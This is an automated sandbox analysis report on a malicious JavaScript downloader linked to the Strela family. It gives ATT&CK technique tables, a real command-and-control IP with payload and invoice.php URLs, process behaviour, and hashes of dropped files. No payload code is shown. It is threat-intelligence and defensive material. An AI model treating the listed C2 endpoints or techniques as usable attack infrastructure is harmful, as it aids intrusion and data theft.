Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1353125634235611874.js	3%	Virustotal		Browse
1353125634235611874.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/s64	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/	0%	Avira URL Cloud	safe
http://193.143.1.205/invoice.php	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2774287723.0000016355400000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1564964637.0000016355340000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/s64	net.exe, 00000007.00000002.1558177490.000001F730178000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000003.1557732860.000001F7301CF000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1558177490.000001F730178000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1557798114.000001F7301AC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1558226580.000001F7301AC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587535
Start date and time:	2025-01-10 14:31:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1353125634235611874.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 50.16.47.176, 18.213.11.84, 54.224.241.105, 34.237.241.83, 2.23.242.162, 23.209.209.135, 199.232.214.172, 2.16.168.105, 2.16.168.107, 4.245.163.56, 23.41.168.139, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
08:32:18	API Interceptor	24x Sleep call for process: powershell.exe modified
08:32:22	API Interceptor	1x Sleep call for process: net.exe modified
08:32:22	API Interceptor	2x Sleep call for process: svchost.exe modified
08:32:31	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1947415746274847548.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10848104561916132198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	145332287313130856.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	67073968285385405.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3144522639186114061.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2012713416258531948.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	1947415746274847548.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	10848104561916132198.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	67073968285385405.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3144522639186114061.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	random.exe	Get hash	malicious	LummaC Stealer	Browse	199.232.210.172
	2012713416258531948.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	CY SEC AUDIT PLAN 2025.docx.doc	Get hash	malicious	Unknown	Browse	199.232.214.172
	gem2.exe	Get hash	malicious	Xmrig	Browse	199.232.210.172
	1736491685cd440ba02224486139c45779065ac91a3edb422c48d3d3c6920c4d30fc9d2bfc582.dat-decoded.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	199.232.210.172
	gqIYXW7GfB.exe	Get hash	malicious	DCRat	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1947415746274847548.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10848104561916132198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	145332287313130856.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	67073968285385405.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3144522639186114061.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2012713416258531948.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	new.bat	Get hash	malicious	Unknown	Browse	193.143.1.95
	987113922297181060.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	987113922297181060.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	177183177683425839.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021910359987316
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUA/:RJE+Lfki1GjHwU/+vVhWqp6
MD5:	6E2FD073E594FB181A1099F7CC25BE8A
SHA1:	B3603C7B96CA4A20FE7018962B0EB12D73BDB022
SHA-256:	5157E73038F442D0DB2F367161C164A0BB2F9B05402873F9DE26F76DB5157BDD
SHA-512:	D39BE51C9A936DD81589F5BF56978E849E2714D01192B15814F17A7CF81E297AA068D04E083F1E745EF1CF98054FE90886EABCE8B61A6E0BDF10A9D0B96DD7EF
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x34be70e0, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9432882837359446
Encrypted:	false
SSDEEP:	1536:jSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:jazaHvxXy2V2UR
MD5:	FD9542B82D4056DF2FE045E37A3CCA34
SHA1:	099FD7023902E5DBA159EC54263310563640F768
SHA-256:	3094F66FEF4CE5DA227D855B4B904D294F8C8C5EC99F85304101C825A09751DD
SHA-512:	B951837628728EEA5F06D3E815C6CDD3A4E11F87AD68C1DF2F6AD4784659764A8AED20D89FA6E227176553AD5FC92FA3CDE198B8CC70AC84A7CC24AF6ABD6AD1
Malicious:	false
Preview:	4.p.... ...............X\...;...{......................0.x...... ...{s.. ...}E.h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{..................................3Ur.. ...}...................... ...}e..........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08075518936116488
Encrypted:	false
SSDEEP:	3:TImlllyYeFSvQnFcll/nqlFcl1ZUllllSqVVll/AllGBnX/l/Tj/k7/t:TbtyzFcQnall/qlFclQ/lBVVltA254
MD5:	A4BD300F3192EC74C1F31FAEF27A0507
SHA1:	B96550C488CE3A1F700EC054F844647CA0C02246
SHA-256:	16419EEB71CA4871B788584CF5E8F2A6D1A2EE78FCD9F8A01B4DCFE02FAE6769
SHA-512:	3B4A5FAA59C8394255BD769961AE310A5D88217889D64D4E6F535D58DDDFE2E81637C066F17CB0BF07A8B440853A1DE49EE35BD271639521958DA5CDC8C91CFF
Malicious:	false
Preview:	.[.-.....................................;...{... ...}e.. ...{s.......... ...{s.. ...{s.P.... ...{s..................... ...}e.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.170195598378671
Encrypted:	false
SSDEEP:	6:iO4odbe+q2PCHhJ2nKuAl9OmbnIFUtSodbydFZZmwsodbydFNVkwOCHhJ2nKuAlz:7vBPvBHAahFUtRBydFZ/7BydFz56HAae
MD5:	03BE85DA685761D09CC8293454BD52E1
SHA1:	84446ECD7EA1B8703DF6165B845D749D1A4A7923
SHA-256:	3383CAA0A1F5115F9664FA1E440F3C2327041DF25193EC3F113D478842B6E165
SHA-512:	0D8E05234DAB9EC23D2B7F722C55056A8C4F1058D211FEEE7CABE15472B26003441C86A57A938E29296CC58F52686E5560D8E04CA6B8E85488A1AF693047534D
Malicious:	false
Preview:	2025/01/10-08:32:22.731 17e8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-08:32:22.735 17e8 Recovering log #3.2025/01/10-08:32:22.735 17e8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.170195598378671
Encrypted:	false
SSDEEP:	6:iO4odbe+q2PCHhJ2nKuAl9OmbnIFUtSodbydFZZmwsodbydFNVkwOCHhJ2nKuAlz:7vBPvBHAahFUtRBydFZ/7BydFz56HAae
MD5:	03BE85DA685761D09CC8293454BD52E1
SHA1:	84446ECD7EA1B8703DF6165B845D749D1A4A7923
SHA-256:	3383CAA0A1F5115F9664FA1E440F3C2327041DF25193EC3F113D478842B6E165
SHA-512:	0D8E05234DAB9EC23D2B7F722C55056A8C4F1058D211FEEE7CABE15472B26003441C86A57A938E29296CC58F52686E5560D8E04CA6B8E85488A1AF693047534D
Malicious:	false
Preview:	2025/01/10-08:32:22.731 17e8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-08:32:22.735 17e8 Recovering log #3.2025/01/10-08:32:22.735 17e8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.175851402581202
Encrypted:	false
SSDEEP:	6:iO4odlQQ+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSod3gZmwsod8QVkwOCHhJ2nKuAlx:7vYVvBHAa8uFUtRJg/7WI56HAa8RJ
MD5:	50A42D9B72C7CA77951BE1A9A54044AF
SHA1:	D942622DD079F464B1526604C7AC0209FD42EE29
SHA-256:	CEAE2B09F8B34627AEAC41D928E0BD690B427E205E250E4F5CC2384E4D924611
SHA-512:	521C1957345BAE530FF04BDD2D3A2EFA334CCE84B3B94C1AE37671275DE7C2BB0E6445846EBAD011D1F3CC91A1227F738AA91262E53E192937A112D492C34045
Malicious:	false
Preview:	2025/01/10-08:32:22.827 4f8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-08:32:22.828 4f8 Recovering log #3.2025/01/10-08:32:22.829 4f8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.175851402581202
Encrypted:	false
SSDEEP:	6:iO4odlQQ+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSod3gZmwsod8QVkwOCHhJ2nKuAlx:7vYVvBHAa8uFUtRJg/7WI56HAa8RJ
MD5:	50A42D9B72C7CA77951BE1A9A54044AF
SHA1:	D942622DD079F464B1526604C7AC0209FD42EE29
SHA-256:	CEAE2B09F8B34627AEAC41D928E0BD690B427E205E250E4F5CC2384E4D924611
SHA-512:	521C1957345BAE530FF04BDD2D3A2EFA334CCE84B3B94C1AE37671275DE7C2BB0E6445846EBAD011D1F3CC91A1227F738AA91262E53E192937A112D492C34045
Malicious:	false
Preview:	2025/01/10-08:32:22.827 4f8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-08:32:22.828 4f8 Recovering log #3.2025/01/10-08:32:22.829 4f8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.97063671378777
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqIFsBdOg2HMcaq3QYiub6P7E4T3y:Y2sRds+dMHv3QYhbS7nby
MD5:	60B337CF417CC3A4A336F5FFBB5D88CC
SHA1:	750CB110BAC708D847041543F68A81DC83F3F82D
SHA-256:	93817A55FDEE030004EE57E2F4A0BE5149D63A6DE94D39F6C12CD8C8B7142F4B
SHA-512:	24D3D30BD7ED93C2959E924C99D6E063A646751047738C0DCF6734C485C8E9931524BC3C24DE08F3AAA146578ECD731389A3FCC7F5B6EB1FC6293061E2524E97
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381075954019558","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":123475},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f1decc35-1e3b-4b53-a459-64c53be7d794.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.97063671378777
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqIFsBdOg2HMcaq3QYiub6P7E4T3y:Y2sRds+dMHv3QYhbS7nby
MD5:	60B337CF417CC3A4A336F5FFBB5D88CC
SHA1:	750CB110BAC708D847041543F68A81DC83F3F82D
SHA-256:	93817A55FDEE030004EE57E2F4A0BE5149D63A6DE94D39F6C12CD8C8B7142F4B
SHA-512:	24D3D30BD7ED93C2959E924C99D6E063A646751047738C0DCF6734C485C8E9931524BC3C24DE08F3AAA146578ECD731389A3FCC7F5B6EB1FC6293061E2524E97
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381075954019558","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":123475},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.233559289102932
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bY8qrda9:S43C4mS7fFi0KFYDjr3LWO3V3aw+bY/O
MD5:	5CDA66FF351DA7B3F8881755445E03F9
SHA1:	2BE8B9706DA2BDCDC05A51309E2CA7EABFFAB145
SHA-256:	0C0790D29F995E4347803238D5A3AB008D103AC8E0F1A1F263A30D74B7D481C7
SHA-512:	CC1048E42F81879ACB93E23FBE4440E7607AC9A0DC11689ECFC1C1757E935903D65A65E6C7BF9D6EB0744D5973D376D482E5A7FB32ABBCF0FA9C5CB0556F3C4E
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.199892839938313
Encrypted:	false
SSDEEP:	6:iO4odyQ+q2PCHhJ2nKuAl9OmbzNMxIFUtSodkgZmwsod0QVkwOCHhJ2nKuAl9Omk:7vgVvBHAa8jFUtRGg/7qI56HAa84J
MD5:	3E6AE0DAB6A606FF300FCBF25D84F25D
SHA1:	7BC60CE759916D01F6B57DC795D7314AC8A457C3
SHA-256:	047EBDF0F0804FBA62D130033EC4992C4CF10F2B19A3532053F23E287106A45A
SHA-512:	13F213415F293487737559CFF8D6514751A9127FE1F0F8876673FBA4F286BF74B33D76423DA6B7F1B5EE86A539530825BC174A9117D906383D71819434DC122B
Malicious:	false
Preview:	2025/01/10-08:32:23.620 4f8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-08:32:23.626 4f8 Recovering log #3.2025/01/10-08:32:23.631 4f8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.199892839938313
Encrypted:	false
SSDEEP:	6:iO4odyQ+q2PCHhJ2nKuAl9OmbzNMxIFUtSodkgZmwsod0QVkwOCHhJ2nKuAl9Omk:7vgVvBHAa8jFUtRGg/7qI56HAa84J
MD5:	3E6AE0DAB6A606FF300FCBF25D84F25D
SHA1:	7BC60CE759916D01F6B57DC795D7314AC8A457C3
SHA-256:	047EBDF0F0804FBA62D130033EC4992C4CF10F2B19A3532053F23E287106A45A
SHA-512:	13F213415F293487737559CFF8D6514751A9127FE1F0F8876673FBA4F286BF74B33D76423DA6B7F1B5EE86A539530825BC174A9117D906383D71819434DC122B
Malicious:	false
Preview:	2025/01/10-08:32:23.620 4f8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-08:32:23.626 4f8 Recovering log #3.2025/01/10-08:32:23.631 4f8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7647458239154146
Encrypted:	false
